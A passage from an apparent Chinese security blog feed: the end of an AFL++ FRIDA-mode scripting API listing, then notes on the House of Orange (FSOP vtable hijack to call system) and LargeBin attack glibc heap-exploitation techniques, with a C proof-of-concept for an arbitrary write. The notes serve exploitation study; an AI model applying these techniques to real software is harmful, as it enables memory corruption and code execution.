error.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">done</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiDone</span>();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * This function can be called within your script to cause FRIDA</span></span><br><span class="line"><span class="comment">   * mode to trigger a fatal error. This is useful if for example you</span></span><br><span class="line"><span class="comment">   * discover a problem you weren&#x27;t expecting and want everything to</span></span><br><span class="line"><span class="comment">   * stop. The user will need to enable `AFL_DEBUG_CHILD=1` to view</span></span><br><span class="line"><span class="comment">   * this error message.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">error</span>(<span class="params">msg</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> buf = <span class="title class_">Memory</span>.<span class="title function_">allocUtf8String</span>(msg);</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiError</span>(buf);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * Function used to provide access to `__afl_fuzz_ptr`, which contains the length of</span></span><br><span class="line"><span class="comment">   * fuzzing data when using in-memory test case fuzzing.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">getAflFuzzLen</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="title class_">Afl</span>.<span class="title function_">jsApiGetSymbol</span>(<span class="string">&quot;__afl_fuzz_len&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * Function used to provide access to `__afl_fuzz_ptr`, which contains the fuzzing</span></span><br><span class="line"><span class="comment">   * data when using in-memory test case fuzzing.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">getAflFuzzPtr</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="title class_">Afl</span>.<span class="title function_">jsApiGetSymbol</span>(<span class="string">&quot;__afl_fuzz_ptr&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * Print a message to the STDOUT. This should be preferred to</span></span><br><span class="line"><span class="comment">   * FRIDA&#x27;s `console.log` since FRIDA will queue it&#x27;s log messages.</span></span><br><span class="line"><span class="comment">   * If `console.log` is used in a callback in particular, then there</span></span><br><span class="line"><span class="comment">   * may no longer be a thread running to service this queue.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">print</span>(<span class="params">msg</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> <span class="variable constant_">STDOUT_FILENO</span> = <span class="number">2</span>;</span><br><span class="line">      <span class="keyword">const</span> log = <span class="string">`<span class="subst">$&#123;msg&#125;</span>\n`</span>;</span><br><span class="line">      <span class="keyword">const</span> buf = <span class="title class_">Memory</span>.<span class="title function_">allocUtf8String</span>(log);</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiWrite</span>(<span class="variable constant_">STDOUT_FILENO</span>, buf, log.<span class="property">length</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_STALKER_NO_BACKPATCH`.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setBackpatchDisable</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetBackpatchDisable</span>();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_DEBUG_MAPS`.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setDebugMaps</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetDebugMaps</span>();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * This has the same effect as setting `AFL_ENTRYPOINT`, but has the</span></span><br><span class="line"><span class="comment">   * convenience of allowing you to use FRIDAs APIs to determine the</span></span><br><span class="line"><span class="comment">   * address you would like to configure, rather than having to grep</span></span><br><span class="line"><span class="comment">   * the output of `readelf` or something similarly ugly. This</span></span><br><span class="line"><span class="comment">   * function should be called with a `NativePointer` as its</span></span><br><span class="line"><span class="comment">   * argument.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setEntryPoint</span>(<span class="params">address</span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetEntryPoint</span>(address);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * Function used to enable in-memory test cases for fuzzing.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setInMemoryFuzzing</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="property">jsApiAflSharedMemFuzzing</span>.<span class="title function_">writeInt</span>(<span class="number">1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_INST_COVERAGE_FILE`. This function takes a single `string`</span></span><br><span class="line"><span class="comment">   * as an argument.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setInstrumentCoverageFile</span>(<span class="params">file</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> buf = <span class="title class_">Memory</span>.<span class="title function_">allocUtf8String</span>(file);</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetInstrumentCoverageFile</span>(buf);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_INST_DEBUG_FILE`. This function takes a single `string` as</span></span><br><span class="line"><span class="comment">   * an argument.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setInstrumentDebugFile</span>(<span class="params">file</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> buf = <span class="title class_">Memory</span>.<span class="title function_">allocUtf8String</span>(file);</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetInstrumentDebugFile</span>(buf);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_INST_TRACE`.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setInstrumentEnableTracing</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetInstrumentTrace</span>();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_INST_JIT`.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setInstrumentJit</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetInstrumentJit</span>();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_INST_LIBS`.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setInstrumentLibraries</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetInstrumentLibraries</span>();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_INST_NO_OPTIMIZE`</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setInstrumentNoOptimize</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetInstrumentNoOptimize</span>();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/*</span></span><br><span class="line"><span class="comment">    * See `AFL_FRIDA_INST_SEED`</span></span><br><span class="line"><span class="comment">    */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setInstrumentSeed</span>(<span class="params">seed</span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetInstrumentSeed</span>(seed);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_INST_TRACE_UNIQUE`.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setInstrumentTracingUnique</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetInstrumentTraceUnique</span>();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_INST_UNSTABLE_COVERAGE_FILE`. This function takes a single</span></span><br><span class="line"><span class="comment">   * `string` as an argument.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setInstrumentUnstableCoverageFile</span>(<span class="params">file</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> buf = <span class="title class_">Memory</span>.<span class="title function_">allocUtf8String</span>(file);</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetInstrumentUnstableCoverageFile</span>(buf);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/*</span></span><br><span class="line"><span class="comment">    * Set a callback to be called in place of the usual `main` function. This see</span></span><br><span class="line"><span class="comment">    * `Scripting.md` for details.</span></span><br><span class="line"><span class="comment">    */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setJsMainHook</span>(<span class="params">address</span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetJsMainHook</span>(address);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * This is equivalent to setting `AFL_FRIDA_PERSISTENT_ADDR`, again a</span></span><br><span class="line"><span class="comment">   * `NativePointer` should be provided as it&#x27;s argument.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setPersistentAddress</span>(<span class="params">address</span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetPersistentAddress</span>(address);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * This is equivalent to setting `AFL_FRIDA_PERSISTENT_CNT`, a</span></span><br><span class="line"><span class="comment">   * `number` should be provided as it&#x27;s argument.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setPersistentCount</span>(<span class="params">count</span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetPersistentCount</span>(count);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_PERSISTENT_DEBUG`.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setPersistentDebug</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetPersistentDebug</span>();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_PERSISTENT_ADDR`. This function takes a NativePointer as an</span></span><br><span class="line"><span class="comment">   * argument. See above for examples of use.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setPersistentHook</span>(<span class="params">address</span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetPersistentHook</span>(address);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * This is equivalent to setting `AFL_FRIDA_PERSISTENT_RET`, again a</span></span><br><span class="line"><span class="comment">   * `NativePointer` should be provided as it&#x27;s argument.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setPersistentReturn</span>(<span class="params">address</span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetPersistentReturn</span>(address);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_INST_NO_PREFETCH_BACKPATCH`.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setPrefetchBackpatchDisable</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetPrefetchBackpatchDisable</span>();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_INST_NO_PREFETCH`.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setPrefetchDisable</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetPrefetchDisable</span>();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_SECCOMP_FILE`. This function takes a single `string` as</span></span><br><span class="line"><span class="comment">   * an argument.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setSeccompFile</span>(<span class="params">file</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> buf = <span class="title class_">Memory</span>.<span class="title function_">allocUtf8String</span>(file);</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetSeccompFile</span>(buf);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_STALKER_ADJACENT_BLOCKS`.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setStalkerAdjacentBlocks</span>(<span class="params">val</span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetStalkerAdjacentBlocks</span>(val);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/*</span></span><br><span class="line"><span class="comment">    * Set a function to be called for each instruction which is instrumented</span></span><br><span class="line"><span class="comment">    * by AFL FRIDA mode.</span></span><br><span class="line"><span class="comment">    */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setStalkerCallback</span>(<span class="params">callback</span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetStalkerCallback</span>(callback);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_STALKER_IC_ENTRIES`.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setStalkerIcEntries</span>(<span class="params">val</span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetStalkerIcEntries</span>(val);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_STATS_FILE`. This function takes a single `string` as</span></span><br><span class="line"><span class="comment">   * an argument.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setStatsFile</span>(<span class="params">file</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> buf = <span class="title class_">Memory</span>.<span class="title function_">allocUtf8String</span>(file);</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetStatsFile</span>(buf);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_STATS_INTERVAL`. This function takes a `number` as an</span></span><br><span class="line"><span class="comment">   * argument</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setStatsInterval</span>(<span class="params">interval</span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetStatsInterval</span>(interval);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_OUTPUT_STDERR`. This function takes a single `string` as</span></span><br><span class="line"><span class="comment">   * an argument.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setStdErr</span>(<span class="params">file</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> buf = <span class="title class_">Memory</span>.<span class="title function_">allocUtf8String</span>(file);</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetStdErr</span>(buf);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_OUTPUT_STDOUT`. This function takes a single `string` as</span></span><br><span class="line"><span class="comment">   * an argument.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setStdOut</span>(<span class="params">file</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> buf = <span class="title class_">Memory</span>.<span class="title function_">allocUtf8String</span>(file);</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetStdOut</span>(buf);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * See `AFL_FRIDA_TRACEABLE`.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">setTraceable</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiSetTraceable</span>();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">jsApiGetFunction</span>(<span class="params">name, retType, argTypes</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> addr = <span class="title class_">Afl</span>.<span class="property">module</span>.<span class="title function_">getExportByName</span>(name);</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">NativeFunction</span>(addr, retType, argTypes);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">jsApiGetSymbol</span>(<span class="params">name</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="title class_">Afl</span>.<span class="property">module</span>.<span class="title function_">getExportByName</span>(name);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;scripting&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#scripting&quot;&gt;&lt;/a&gt; Scripting&lt;/h1&gt;
&lt;p&gt;FRIDA当前支持使用Javascript配置的能力。依靠FRIDA的脚本引擎（支持调试符号和导出表）</summary>
      
    
    
    
    <category term="Fuzz" scheme="http://www.4x7.fun/categories/Fuzz/"/>
    
    
    <category term="Fuzz" scheme="http://www.4x7.fun/tags/Fuzz/"/>
    
    <category term="Blind-Fuzz" scheme="http://www.4x7.fun/tags/Blind-Fuzz/"/>
    
    <category term="AFL++" scheme="http://www.4x7.fun/tags/AFL/"/>
    
    <category term="Frida" scheme="http://www.4x7.fun/tags/Frida/"/>
    
  </entry>
  
  <entry>
    <title>HeapAttack: House_of_Orange</title>
    <link href="http://www.4x7.fun/2022/03/25/HeapAttack-House-of-Orange/"/>
    <id>http://www.4x7.fun/2022/03/25/HeapAttack-House-of-Orange/</id>
    <published>2022-03-25T07:02:22.000Z</published>
    <updated>2022-04-20T03:56:19.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="漏洞样式"><a class="markdownIt-Anchor" href="#漏洞样式"></a> 漏洞样式</h2><ul><li>漏洞要求：libc-leak， 任意地址写(_IO_list_all劫持), 大块chunk控制(伪造_IO_FILE结构)</li><li>libc版本：glibc-2.3及以下</li></ul><h2 id="2-利用方法"><a class="markdownIt-Anchor" href="#2-利用方法"></a> 2. 利用方法</h2><h3 id="21-攻击效果"><a class="markdownIt-Anchor" href="#21-攻击效果"></a> 2.1 攻击效果</h3><ul><li>GetShell：<br />通过劫持_IO_list_all.vtable中某函数指针，篡改为system或one_gadget, 并伪造_IO_FILE结构从而使程序在调用 _IO_flush_all_lockp 函数后能够最终调用到system或one_gadet。_IO_flush_all_lockp</li></ul><h3 id="22-过程简述"><a class="markdownIt-Anchor" href="#22-过程简述"></a> 2.2 过程简述</h3><ul><li><ol><li>使用unsortedbin attack，largebin attack，tcache dup、House Of Botcake等任意地址写技术将_IO_list_all改写为攻击者可控内存地址(记为fakeIOList)。</li></ol></li><li><ol start="2"><li>在fakeIOList上布置内存布局，使得以类型Struct _IO_File 解析fakeIOList</li></ol><ul><li>a. fp-&gt;_mode &lt;= 0</li><li>b. fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base</li></ul></li><li><ol start="3"><li>vtable 指向可控内存区域，修改 vtable-&gt;__overflow 为目标函数(system或者one_gadget)</li></ol></li><li><ol start="4"><li>[可选的]若vtable-&gt;__overflow指向system。可将fp-&gt;_flags 写成b&quot;/bin/sh\0&quot;。因为最终调用的代码是：</li></ol><blockquote><p>_IO_OVERFLOW (fp, EOF)<br />即</p></blockquote><blockquote><p>fp-&gt;vtable-&gt;__overflow(fp)</p></blockquote></li></ul><h2 id="3-注意"><a class="markdownIt-Anchor" href="#3-注意"></a> 3. 注意</h2><p>参考链接(IO FILE 之劫持vtable及FSOP)中的以下两个技巧的学习：</p><ol><li>通过mmap 0x200000的超大chunk，该chunk会恰好分配在libc的上方，这样可以leak libc地址。</li><li>当top_chunk size不够分配内存时，main_arena会sbrk新的page；若旧top_chunk的末尾地址与sbrk新分配内存的开始地址不邻接，则会把旧top_chunk free掉。我们这样就不经过free获得了一个unsortedbin chunk。</li></ol><h2 id="参考"><a class="markdownIt-Anchor" href="#参考"></a> 参考</h2><ol><li><a href="https://xz.aliyun.com/t/5508">IO FILE 之劫持vtable及FSOP</a></li><li><a href="https://xz.aliyun.com/t/5579">IO FILE 之vtable check 以及绕过</a></li><li><a href="https://www.52pojie.cn/thread-1539815-1-1.html">从零开始的Linux堆利用(七)——House of Orange</a></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;漏洞样式&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#漏洞样式&quot;&gt;&lt;/a&gt; 漏洞样式&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;漏洞要求：libc-leak， 任意地址写(_IO_list_all劫持), 大块chunk控制(伪造_IO_FILE结</summary>
      
    
    
    
    <category term="Pwn2Own" scheme="http://www.4x7.fun/categories/Pwn2Own/"/>
    
    
    <category term="HeapAttack" scheme="http://www.4x7.fun/tags/HeapAttack/"/>
    
    <category term="_IO_list_all" scheme="http://www.4x7.fun/tags/IO-list-all/"/>
    
    <category term="unsortedbin attack" scheme="http://www.4x7.fun/tags/unsortedbin-attack/"/>
    
    <category term="FSOP" scheme="http://www.4x7.fun/tags/FSOP/"/>
    
  </entry>
  
  <entry>
    <title>HeapAttack: LargeBin Attack</title>
    <link href="http://www.4x7.fun/2022/03/23/HeapAttack-LargeBinAttack/"/>
    <id>http://www.4x7.fun/2022/03/23/HeapAttack-LargeBinAttack/</id>
    <published>2022-03-23T13:16:30.000Z</published>
    <updated>2022-04-20T03:56:16.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="1-漏洞样式"><a class="markdownIt-Anchor" href="#1-漏洞样式"></a> 1. 漏洞样式</h2><ul><li>漏洞要求：Write After Free</li><li>chunk大小：可申请 large bin(即size&gt;=0x400)</li></ul><h2 id="2-利用方法"><a class="markdownIt-Anchor" href="#2-利用方法"></a> 2. 利用方法</h2><h3 id="21-攻击效果"><a class="markdownIt-Anchor" href="#21-攻击效果"></a> 2.1 攻击效果</h3><p>在unsorted-bin chunk被sort进large-bin时，触发<code>任意地址写</code>, 可以往<code>任意地址</code>中写入一个不可控的未知<code>大数</code> (实际为<code>某堆地址</code>)。<br />实现以下目的：</p><ul><li>修改循环次数</li><li>修改global_max_fast 或arena-&gt;max_fast的值，从而把size&gt;0x80的chunk分配到fastbin中;或者在目标二进制使用mallopt(M_MXFAST,0)禁用fastbin后，重新启用</li><li>修改能够输出的变量，从而泄露堆地址</li></ul><h3 id="22-过程简述"><a class="markdownIt-Anchor" href="#22-过程简述"></a> 2.2 过程简述</h3><p>假设堆状态如下：</p><pre><code>unsorted-bin: A(0x400)large-bin: 0x400： B(0x410) </code></pre><p>若 <strong>B</strong> 存在Write After Free, 则修改 <code>B-&gt;bk_nextsize</code> 为 <code>目标地址(target)</code> 。<br />触发A加入到large-bin链表中，则会导致 <code>A-&gt;bk_nextsize = B-&gt;bk_nextsize; A-&gt;bk_nextsize-&gt;fd_nextsize = B</code> 即 <code>target-&gt;fd_nextsize = A</code> 。</p><p>即</p><pre><code>unsorted-bin: large-bin:0x400: B(0x410) -&gt; A(0x400) [A插入时触发攻击]</code></pre><h3 id="23-代码表示"><a class="markdownIt-Anchor" href="#23-代码表示"></a> 2.3 代码表示</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">static uint64_t target; //假设需要被更改值的目标地址</span><br><span class="line">int attack()&#123;</span><br><span class="line">    void* A, * B, * C;</span><br><span class="line"></span><br><span class="line">    A = malloc(0x400 - 8); //A小</span><br><span class="line">    malloc(0x18);</span><br><span class="line">    B = malloc(0x410 - 8); //B大</span><br><span class="line">    malloc(0x18);</span><br><span class="line"></span><br><span class="line">    free(B);</span><br><span class="line">    // unsortedbin: B</span><br><span class="line">    // largebin: empty</span><br><span class="line"></span><br><span class="line">    malloc(0x600);</span><br><span class="line">    // unsortedbin: empty</span><br><span class="line">    // largebin: 0x400: B(0x410)</span><br><span class="line"></span><br><span class="line">    free(A)；</span><br><span class="line">    // unsortedbin: A</span><br><span class="line">    // largebin: 0x400: B(0x410)</span><br><span class="line"></span><br><span class="line">    * ( uint64_t * )(B + 0x18) = ( uint64_t ) ( &amp;target ) - 0x20</span><br><span class="line">    //edit: B-&gt;bk_nextsize = target_over  &amp;&amp; let: target_over-&gt;fd_nextsize = target</span><br><span class="line"></span><br><span class="line">    malloc(0x600);</span><br><span class="line">    // unsortedbin: empty</span><br><span class="line">    // largebin: 0x400: B(0x410)-&gt;A(0x400) &#123;触发：A-&gt;bk_nextsize-&gt;fd_nextsize = A&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="3-原理分析"><a class="markdownIt-Anchor" href="#3-原理分析"></a> 3. 原理分析</h2><p>在glibc项目malloc.c文件_int_malloc函数中：<br />在chunk被从unsortedbin中sort下来之后的代码部分</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">. . . </span><br><span class="line">          /* place chunk in bin */</span><br><span class="line">          //// 若smallbin范围</span><br><span class="line">          if (in_smallbin_range (size))</span><br><span class="line">            &#123;</span><br><span class="line">              victim_index = smallbin_index (size);</span><br><span class="line">              bck = bin_at (av, victim_index);</span><br><span class="line">              fwd = bck-&gt;fd;</span><br><span class="line">            &#125;</span><br><span class="line">          else ////若在largebin范围</span><br><span class="line">            &#123;</span><br><span class="line">              victim_index = largebin_index (size);</span><br><span class="line">              bck = bin_at (av, victim_index);</span><br><span class="line">              fwd = bck-&gt;fd;</span><br><span class="line">              //// largebin:: [bck]: fwd</span><br><span class="line">              /* 